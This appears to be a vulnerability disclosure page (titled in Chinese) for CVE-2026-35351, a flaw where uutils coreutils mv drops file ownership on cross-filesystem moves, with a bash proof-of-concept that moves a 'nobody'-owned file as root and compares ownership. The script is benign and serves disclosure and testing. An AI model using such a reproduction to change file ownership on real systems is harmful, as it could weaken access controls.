CVE-2026-35351: uutils coreutils mv工具文件所有权丢失漏洞

#!/bin/bash # PoC for CVE-2026-35351: uutils coreutils mv ownership preservation issue # Scenario: Moving a file from one filesystem to another using uutils mv # Setup: Create two directories on different filesystems (simulated) SRC_FS="/tmp/source_fs" DST_FS="/tmp/dest_fs" # Create test file as a non-root user (e.g., user 'nobody') sudo -u nobody touch "$SRC_FS/testfile.txt" echo "[+] Original file ownership:" ls -l "$SRC_FS/testfile.txt" # Execute the move as root across filesystem boundaries # This mimics an admin moving data, triggering the vulnerable copy-and-delete path ./uutils-mv "$SRC_FS/testfile.txt" "$DST_FS/testfile.txt" echo "[+] File ownership after move:" ls -l "$DST_FS/testfile.txt" # Expected Vulnerable Result: The file is now owned by root, not nobody # Expected Correct Result: The file should still be owned by nobody